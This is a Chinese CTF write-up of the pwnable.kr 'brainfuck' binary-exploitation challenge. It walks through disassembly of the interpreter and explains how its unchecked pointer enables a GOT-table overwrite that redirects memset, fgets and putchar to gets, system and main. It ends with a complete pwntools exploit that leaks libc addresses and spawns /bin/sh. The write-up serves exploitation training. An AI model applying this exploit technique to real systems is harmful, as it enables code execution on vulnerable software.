pwnable BrainFuck,GOT表重写

来源:互联网 发布:mac如何修改照片像素 编辑:程序博客网 时间:2024/05/22 14:38

题目链接:http://pwnable.kr/play.php




BrainFuck是什么鬼,百度一下.....


Brainfuck是一种极小化的计算机语言,它是由Urban Müller在1993年创建的。由于fuck在英语中是脏话,这种语言有时被称为brainf*ck或brainf**k,甚至被简称为BF。

其实就是闲着没事做出来的一种语言。


看看其八个描述符:

Brainfuck
C
>
++ptr;
<
--ptr;
+
++*ptr;
-
--*ptr;
.
putchar(*ptr);
,
*ptr =getch();
[
while (*ptr) {
]
}


字符
含义
>
指针加一
<
指针减一
+
指针指向的字节的值加一
-
指针指向的字节的值减一
.
输出指针指向的单元内容(ASCⅡ码)
,
输入内容到指针指向的单元(ASCⅡ码)
[
如果指针指向的单元值为零,向后跳转到对应的]指令的次一指令处
]
如果指针指向的单元值不为零,向前跳转到对应的[指令的次一指令处





大概了解之后我们就可以开始看看那两个文件了:





先将两个文件下下来看看,一个可执行文件,一个so  libc....

将bf拖进ida 


main()函数如下:

; int __cdecl main(int argc, const char **argv, const char **envp)public mainmain proc nearanonymous_0= dword ptr -8var_4= dword ptr -4argc= dword ptr  8argv= dword ptr  0Chenvp= dword ptr  10hpush    ebpmov     ebp, esppush    ebxand     esp, 0FFFFFFF0hsub     esp, 430hmov     eax, [ebp+argv]mov     [esp+1Ch], eaxmov     eax, large gs:14hmov     [esp+42Ch], eaxxor     eax, eaxmov     eax, ds:stdout@@GLIBC_2_0mov     dword ptr [esp+0Ch], 0 ; nmov     dword ptr [esp+8], 2 ; modesmov     dword ptr [esp+4], 0 ; bufmov     [esp], eax      ; streamcall    _setvbufmov     eax, ds:stdin@@GLIBC_2_0mov     dword ptr [esp+0Ch], 0 ; nmov     dword ptr [esp+8], 1 ; modesmov     dword ptr [esp+4], 0 ; bufmov     [esp], eax      ; streamcall    _setvbufmov     ds:p, offset tapemov     dword ptr [esp], offset aWelcomeToBrain ; "welcome to brainfuck testing system!!"call    _putsmov     dword ptr [esp], offset aTypeSomeBrainf ; "type some brainfuck instructions except"...call    _putsmov     dword ptr [esp+8], 400h ; nmov     dword ptr [esp+4], 0 ; clea     eax, [esp+2Ch]mov     [esp], eax      ; scall    _memsetmov     eax, ds:stdin@@GLIBC_2_0mov     [esp+8], eax    ; streammov     dword ptr [esp+4], 400h ; nlea     eax, [esp+2Ch]mov     [esp], eax      ; scall    _fgetsmov     dword ptr [esp+28h], 0jmp     short loc_8048760

也可以f5 看看伪代码:

int __cdecl main(int argc, const char **argv, const char **envp){  int result; // eax@4  int v4; // edx@4  size_t i; // [esp+28h] [ebp-40Ch]@1  int v6; // [esp+2Ch] [ebp-408h]@1  int v7; // [esp+42Ch] [ebp-8h]@1  v7 = *MK_FP(__GS__, 20);  setvbuf(stdout, 0, 2, 0);  setvbuf(stdin, 0, 1, 0);  p = (int)&tape;  puts("welcome to brainfuck testing system!!");  puts("type some brainfuck instructions except [ ]");  memset(&v6, 0, 0x400u);  fgets((char *)&v6, 1024, stdin);  for ( i = 0; i < strlen((const char *)&v6); ++i )    do_brainfuck(*((_BYTE *)&v6 + i));  result = 0;  v4 = *MK_FP(__GS__, 20) ^ v7;  return result;}


do_brainfuck()这个函数内容如下:

int __cdecl do_brainfuck(char a1){  int result; // eax@1  _BYTE *v2; // ebx@7  result = a1;  switch ( a1 )  {    case 43:                                    // +                                                // ++*ptr;      result = p;      ++*(_BYTE *)p;      break;    case 44:      v2 = (_BYTE *)p;                          // ,                                                // *ptr =getch();      result = getchar();      *v2 = result;      break;    case 45:                                    // -                                                // --*ptr;      result = p;      --*(_BYTE *)p;      break;    case 46:      result = putchar(*(char *)p);             // .                                                // putchar(*ptr);      break;    case 60:      result = p-- - 1;                         // <                                                // --ptr;      break;    case 62:      result = p++ + 1;                         // >                                                // ++ptr;      break;    case 91:      result = puts("[ and ] not supported.");  // [                                                // while (*ptr) {      break;    default:      return result;  }  return result;}

所以这个程序的功能就是:

0x1  用户输入一段fk程序

0x2  将其翻译并执行   

 

这里注意:执行时还是在这个进程中 甚至可以说在这个函数中,他并没有任何隔离措施,所以我们可以使用bf来输出和写入这个进程的内存


看看main()中的三个函数:puts() ,memset(), fget().   再联想到题目竟然给出了libc.so 这多次一举的做法明显是让我们通过修改GOT表 (关于GOT 和 plt  不了解的请点这里:GOT,PLT)从而修改函数。

刚好 memset()和 fgets()的参数都是同一个  我们就将 memset()改为gets(),将fgets()改为system()

这样我们就需要知道 memset()与fgets() 的got表地址,还要知道gets()和system()的全局地址。

memset()与fgets() 的got表地址 我们从可执行文件的got表可以得到

gets()和system()的全局地址      我们通过计算他们与原函数地址在so中的偏移从而通过将原函数的全局地址加或减得到


然后我们将putchar()函数的地址改为mian()函数的地址从而使得程序再执行一遍main()函数  执行我们的 gets()与 system().


 下面我们可以通过两种方法:

  1   使用bf构造语句输出putchar()的全局地址,再通过system() gets()与putchar()在so中的偏移,从而计算出system() gets()的全局地址 


  2   计算system() gets()与原函数的偏移通过将got表地址 加或减来实现


别人的payload:

 libc = ELF('/home/c/ctf/libc.so.6') bf = remote('pwnable.kr',9001) bf.recvline_startswith('type') bf.sendline('<'*112+'.'+'.>'*4+'<'*4+',>'*4+'<'*(4+32)+',>'*4+'<'*4+'>'*28+',>'*4+'.') bf.recv(1) x=bf.recv(4)[::-1] jump=0x080484E0 bf.send(p32(jump)) system=int(x.encode('hex'),16)-libc.symbols['putchar']+libc.symbols['system'] gets=int(x.encode('hex'),16)-libc.symbols['putchar']+libc.symbols['gets'] bf.send(p32(system)) bf.send(p32(gets)) bf.sendline('/bin/sh\x00') bf.interactive()

0 0
原创粉丝点击
热门问题 老师的惩罚 人脸识别 我在镇武司摸鱼那些年 重生之率土为王 我在大康的咸鱼生活 盘龙之生命进化 天生仙种 凡人之先天五行 春回大明朝 姑娘不必设防,我是瞎子 苹果7手机变成黑白屏怎么办 苹果手机屏不动了怎么办 苹果6老是卡屏怎么办 苹果x卡屏死机怎么办 苹果6死机卡屏怎么办 苹果手机主屏死机怎么办 苹果7手机卡屏死机怎么办 苹果6s卡死了怎么办 6s手机显示丢失锁定怎么办 酷比s9被root怎么办 垃圾清理把相片删除了怎么办 小米电脑怎么下载软件怎么办 华为手机pin码忘了怎么办 锁屏密码忘了怎么办 抖音停止运行了怎么办? 华为手机右下角有个小人怎么办 华为手机程序停止运行怎么办 华为手机不支持软件搬家怎么办 红米手机没有任务键怎么办 进网许可丢了怎么办 华为稳私空间被稳蔵怎么办 华为手机安装不了软件怎么办 华为手机自动安装软件怎么办 手机在实体店买贵了怎么办 日本买的kindle坏了怎么办 华为麦芒4屏幕失灵怎么办 华为麦芒6屏幕失灵怎么办 手机为什么总显示内存不足怎么办 小米云服务满了怎么办 魅蓝s6声音小怎么办 华为畅享7s丢失怎么办 华为耳机孔坏了怎么办 苹果手机耳机插孔坏了怎么办 荣耀8听筒声音小怎么办 荣耀8听筒音量小怎么办 华为荣耀6声音小怎么办 华为荣耀v8通话声音小怎么办 华为p20没有耳机孔怎么办 华为荣耀手机耳机声音小怎么办 小米5x显示耳机怎么办 手机进水听音乐人声小怎么办